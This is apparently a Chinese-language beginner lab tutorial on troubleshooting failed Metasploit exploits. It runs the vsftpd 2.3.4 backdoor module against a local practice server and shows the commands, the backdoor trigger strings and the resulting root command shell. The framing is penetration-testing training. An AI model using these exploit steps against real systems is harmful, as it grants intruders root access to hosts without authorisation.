Metasploit 故障排除失败的 Exploit

Kali LinuxBeginner
立即练习

引言

Metasploit 是一个强大的渗透测试框架,它能简化黑客攻击。然而,即使拥有最好的工具,exploit 也可能因为各种原因而失败:目标信息不正确、系统已打补丁或网络问题。了解如何诊断和修复这些失败是任何安全专业人士的关键技能。

在本实验中,你将学习在 Metasploit 中排查失败 exploit 的基本工作流程。我们将故意错误配置一个 exploit,观察其失败,然后使用 Metasploit 内置的工具来识别和纠正问题。你将学会使用 show optionscheck 等命令以及 Verbose 设置来获取成功所需的信息。

在本实验中,一个易受攻击的 FTP 服务器已在你的本地机器上后台启动,它将作为我们的目标。

选择一个 exploit 并设置错误的选项

在此步骤中,我们将启动 Metasploit Framework 控制台,选择一个 exploit 模块,并故意使用错误的选项进行配置,以模拟常见的用户错误。这将为故障排除过程奠定基础。

首先,打开你的终端并启动 Metasploit 控制台。我们使用 -q (quiet) 标志来跳过 banner 并加快加载过程。

msfconsole -q

一旦你进入 msf6 > 提示符,我们将搜索一个针对 vsftpd 服务的 exploit。

search vsftpd

你将看到一个模块列表。我们对 exploit/unix/ftp/vsftpd_234_backdoor 感兴趣。让我们使用 use 命令选择它。

use exploit/unix/ftp/vsftpd_234_backdoor

你的提示符将发生变化,表明 exploit 模块现在已激活。现在,我们需要配置目标。最重要的选项是 RHOSTS,它代表 Remote Hosts。我们将故意将其设置为一个错误的 IP 地址。

set RHOSTS 192.168.1.100

你将看到一个确认 RHOSTS 已设置的消息。我们现在已经准备了一个保证会失败的 exploit。

运行 exploit 并观察失败消息

在此步骤中,你将执行错误配置的 exploit,并学习如何解读由此产生的失败消息。这是故障排除的第一步,也是最关键的一步。

在选择了 vsftpd_234_backdoor exploit 并设置了错误的 RHOSTS 后,让我们尝试运行它。你可以使用 runexploit 命令。

run

exploit 将尝试连接到我们提供的 IP 地址(192.168.1.100)。由于该主机在实验环境中无法访问,exploit 将会失败。你将看到类似以下的输出:

[*] 192.168.1.100:21 - The target is not exploitable.
[*] Exploit completed, but no session was created.

The target is not exploitable 或类似的连接错误消息是 Metasploit 无法访问或与目标服务交互的明确指示。这告诉我们问题可能与网络或目标主机配置有关。

使用 show options 命令查看配置

在此步骤中,在看到失败后,第一个合乎逻辑的操作是检查我们的设置。show options 命令是完成此任务的主要工具。它会显示当前模块所有可配置的参数。

让我们检查一下我们为 exploit 设置的选项。

show options

此命令将显示 vsftpd_234_backdoor exploit 的选项表:

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting    Required  Description
   ----    ---------------    --------  -----------
   RHOSTS  192.168.1.100      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21                 yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic

仔细查看 RHOSTSCurrent Setting。它是 192.168.1.100,我们知道这是不正确的。此实验中易受攻击的服务正在本地机器上运行。本地机器的 IP 地址是 127.0.0.1

让我们更正 RHOSTS 的值。

set RHOSTS 127.0.0.1

现在,如果你再次运行 show options,你将看到 RHOSTS 的值已正确更新。

使用 check 命令测试可利用性

在此步骤中,你将学习使用 check 命令。在运行 exploit 之前,检查目标是否真的存在漏洞通常是明智的。check 命令允许你安全地执行此操作,而无需实际运行 exploit payload。请注意,并非所有模块都支持此功能。

现在我们已经更正了 RHOSTS 选项,让我们使用 check 来看看 Metasploit 是否认为目标存在漏洞。

check

如果目标配置正确且服务存在漏洞,你应该会看到一个积极的确认消息。

[*] 127.0.0.1:21 - The target is vulnerable.

这条消息 The target is vulnerable 让我们对运行 exploit 时能够成功充满信心。它确认 Metasploit 能够连接到目标并验证后门的可用性。如果失败了,我们将需要进一步调查,但目前来说,这是一个非常好的迹象。

将 Verbose 选项设置为 true 并重新运行以获取更多详细信息

在此步骤中,你将了解 Verbose 选项。有时,即使 check 成功,exploit 也可能失败。为了更深入地了解 exploit 在后台执行的操作,你可以启用详细日志记录。这是一个影响所有模块的全局设置。

让我们使用 setg 命令启用详细模式,该命令全局设置一个值。

setg Verbose true

现在,在启用了详细模式并设置了正确的 RHOSTS 后,让我们再次运行 exploit。

run

这次,你将看到更详细的输出。详细日志记录会向你展示 exploit 的分步过程,包括连接尝试和正在发送的数据。最重要的是,exploit 现在应该会成功。

[*] 127.0.0.1:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 127.0.0.1:21 - USER: Sending "USER back:)"
[*] 127.0.0.1:21 - PASS: Sending "PASS moor"
[+] 127.0.0.1:21 - Found shell.
[*] Command shell session 1 opened (127.0.0.1:43999 -> 127.0.0.1:6200) at 2023-10-27 10:00:00 -0400

成功了!Command shell session 1 opened 消息确认你已成功攻陷目标。你现在拥有了远程系统的命令 shell。你可以通过运行 whoami 等简单命令来测试它。

whoami

你应该会看到输出 root。要退出 shell 并返回到 Metasploit 提示符,请按 Ctrl + C 或键入 exit

总结

恭喜你完成了本次实验!你已成功掌握了在 Metasploit Framework 中对失败的 exploit 进行故障排除的基本流程。

在本次实验中,你实践了一种系统的解决问题的方法:

  1. 观察失败:你首先运行了一个配置错误的 exploit 来观察其失败。
  2. 检查选项:你使用了 show options 来检查配置并识别出错误的 RHOSTS 值。
  3. 检查漏洞:在纠正配置后,你使用了 check 命令来安全地验证目标是否存在漏洞。
  4. 获取更多细节:你学会了使用 setg Verbose true 来获取详细的分步输出,这对于诊断更复杂的问题非常有价值。

这些核心技能将帮助你克服常见的障碍,并在你的渗透测试活动中更有效地使用 Metasploit。